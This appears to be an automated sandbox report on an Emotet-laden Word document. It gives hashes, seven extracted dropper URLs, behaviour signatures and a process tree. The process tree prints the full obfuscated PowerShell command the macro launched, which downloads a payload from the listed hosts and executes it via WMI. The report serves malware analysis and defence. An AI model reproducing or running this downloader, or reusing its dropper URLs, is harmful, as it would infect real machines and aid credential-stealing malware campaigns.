Analysis

  • max time kernel
    73s
  • max time network
    15s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    29/10/2020, 04:13

General

  • Target
    emotet_e1_43ac0bbd19c8d0a845fa3ca8b23e7f2fe7c7acb071a288271ad08b3cbc9ed06e_2020-10-29__041005171702._doc.doc
  • Size 234KB
  • Sample201029-e7xs4trska
  • SHA256 43ac0bbd19c8d0a845fa3ca8b23e7f2fe7c7acb071a288271ad08b3cbc9ed06e
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://ayur-herbal.com/wp-content/HIw/

  • exe.dropper

    https://enyaxsi.com/setupconfigo/S/

  • exe.dropper

    https://cacomixtle.net/wp-admin/R5P/

  • exe.dropper

    https://filmfest.jewishfilm.org/wp-content/ZF/

  • exe.dropper

    https://demo.giaoduckidsup.com/wp-includes/P/

  • exe.dropper

    https://aabeds.com/wordpress/O/

  • exe.dropper

    https://crechereviver.org/siteunavailable/j/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_43ac0bbd19c8d0a845fa3ca8b23e7f2fe7c7acb071a288271ad08b3cbc9ed06e_2020-10-29__041005171702._doc.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1668
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:828
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD   s E t - I T E M   V A R i a B L e : k 3 w a n     (     [ t Y p e ] ( " { 1 } { 2 } { 4 } { 3 } { 0 } { 5 } "   - f   ' C t o r ' , ' S y S t ' , ' E M . ' , ' o . D i R e ' , ' i ' , ' Y ' )     )   ;       $ g M 0 w l =   [ t Y p e ] ( " { 0 } { 4 } { 3 } { 1 } { 7 } { 6 } { 5 } { 2 } " - F ' S y S T E m ' , ' t . ' , ' A G e r ' , ' n E ' , ' . ' , ' N t M A n ' , ' E R V I c E p O i ' , ' S ' ) ; $ L i u i v z d = ( ( ' N q ' + ' x 1 l ' ) + ' d j ' ) ; $ D e b 8 n c y = $ J x s y n m d   +   [ c h a r ] ( 6 4 )   +   $ C 0 n 5 z m z ; $ H _ q e s p m = ( ( ' F ' + ' n t ' ) + ' y 3 ' + ' g n ' ) ;   $ K 3 w A N : : " c R E ` A T ` e ` d I r E c t o R Y " ( $ H O M E   +  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 j j k ' + ' g ' ) + ( ' S ' + '   [ ' ) + ( ' ] ' + '   ' + ' [ ] w d e ' ) + ( ' m o ' + ' . ' ) + ( ' g i a o ' + ' d ' + ' u c k ' + ' i d s u ' + ' p ' + ' . c o m ] [ ' ) + ( ( '   ' + ' 1 )   j ' ) ) + ' j ' + ' k g ' + ( ' S ' + '   [ ' ) + ' ]   ' + ( ' [ ' + ' ] w w p - ' + ' i n ' + ' c l ' ) + ( ' u d ' + ' e ' + ' s ] [   ' ) + ( ( ' 1 ' + ' )   ' + ' j j ' + ' k g S   ' + ' [ ]   [ ] w ' ) ) + ( ( ' P ' + ' ] [   ' + ' 1 ) ' ) ) + ( '   j j k g ' + ' S ' ) + '   ' + ' [ ] ' + '   [ ' + ( ' ] w ' + ' @ h t t ' ) + ' p s ' + ( ' : ] ' + ' [ ' ) + ( ( '   ' + ' 1 )   j j k g S   [ ' + ' ]   ' ) ) + ( ( ' [ ] w ] ' + ' [   ' + ' 1 )   ' + ' j j k g ' ) ) + ' S ' + ( '   [ ' + ' ]   [ ' + ' ] ' ) + ( ( ' w ' + ' a a b e ' + ' d s . ' + ' c o m ] ' + ' [   1 ) ' + '   j j k g ' + ' S   ' + ' [ ' ) ) + ( ' ]   ' + ' [ ' ) + ( ' ] ' + ' w w o ' + ' r d ' ) + ' p r ' + ( ' e s ' + ' s ' ) + ( ( ' ] [ ' + '   1 )   j ' ) ) + ( ' j ' + ' k ' + ' g S   [ ' ) + ( ' ]   ' + ' [ ' ) + ( ' ] w O ' + ' ] ' ) + ' [ ' + ( ( '   1 )   ' + ' j ' ) ) + ( ' j k ' + ' g ' ) + ( ' S   ' + ' [ ] ' + '   [ ] w ' ) + ( ( ' @ h t t p ' + ' s : ] ' + ' [   1 ' + ' )   j ' ) ) + ( ' j k ' + ' g ' + ' S   [ ]   [ ' ) + ' ] w ' + ( ' ] ' + ' [   ' ) + ( ( ' 1 ) ' ) ) + ( '   j j ' + ' k g ' ) + ' S ' + '   ' + ( ' [ ]   ' + ' [ ] w ' ) + ( ' c ' + ' r e c ' ) + ( ' h e ' + ' r ' ) + ( ' e v i v ' + ' e ' + ' r ' ) + ( ' . o r ' + ' g ] [   ' ) + ( ( ' 1 )   ' + ' j j ' ) ) + ' k ' + ' g ' + ' S   ' + ( ' [ ]   [ ' + ' ] w s ' ) + ( ' i t e u n a v a ' + ' i ' + ' l ' ) + ( ' a b l e ] ' + ' [   ' ) + ( ( ' 1 ) ' + '   j j k g S   ' + ' [ ' ) ) + ( ' ]   ' + ' [ ] ' ) + ( ' w j ' + ' ] [ ' ) + ( ( '   ' + ' 1 ) ' ) ) + ( '   ' + ' j j ' + ' k g S   ' ) + ( ' [ ]   ' + ' [ ] w ' ) ) ) . " r e p ` l a c e " ( ( ( ( ' ] [ ' + '   ' ) + ( ( ' 1 )   ' + ' j ' ) ) + ( ' j ' + ' k g S ' + '   [ ]   ' ) + ' [ ] ' + ' w ' ) ) , ( [ a r r a y ] ( ' / ' ) , ( ' x w ' + ' e ' ) ) [ 0 ] ) . " S ` P l i t " ( $ R 3 x _ o w c   +   $ D e b 8 n c y   +   $ F d 1 o u 5 h ) ; $ E q _ 4 1 0 y = ( ' O i ' + ' m ' + ( ' 4 f 1 ' + ' a ' ) ) ; f o r e a c h   ( $ F 6 p g i h 8   i n   $ A 6 4 1 y 6 2 ) { t r y { $ C b q w u t g . " d O w ` N ` L O a d ` F i L e " ( $ F 6 p g i h 8 ,   $ V s q 3 6 n a ) ; $ E m e n c c 9 = ( ' G 4 ' + ( ' d u 7 u ' + ' 9 ' ) ) ; I f   ( ( . ( ' G e t - I ' + ' t e m ' )   $ V s q 3 6 n a ) . " l ` e n ` G t H "   - g e   4 0 4 9 0 )   { ( [ w m i c l a s s ] ( ' w i ' + ' n ' + ( ' 3 2 _ P r o ' + ' c ' + ' e s s ' ) ) ) . " C R E ` A T E " ( $ V s q 3 6 n a ) ; $ I b 2 w 2 n 1 = ( ( ' W q ' + ' f ' ) + ' k j ' + ' g s ' ) ; b r e a k ; $ H i i 1 6 e c = ( ( ' O u ' + ' 8 ' ) + ' 6 e ' + ' 8 a ' ) } } c a t c h { } } $ V t 4 z k 5 q = ( ( ' K ' + ' j h x 3 ' ) + ' f ' + ' _ ' ) 
      1⤵
      • Process spawned unexpected child process
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1420

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          MITRE ATT&CK Enterprise v6

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          memory/1420-4-0x000007FEF5E10000-0x000007FEF67FC000-memory.dmp

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          memory/1420-6-0x000000001AD80000-0x000000001AD81000-memory.dmp

          memory/1420-7-0x0000000002330000-0x0000000002331000-memory.dmp

          memory/1420-8-0x00000000024D0000-0x00000000024D1000-memory.dmp

          memory/1668-0-0x0000000000712000-0x0000000000716000-memory.dmp

          memory/1668-1-0x00000000060E0000-0x00000000060E4000-memory.dmp

          memory/1668-2-0x0000000000712000-0x0000000000716000-memory.dmp

          memory/1668-3-0x00000000056B3000-0x00000000056B4000-memory.dmp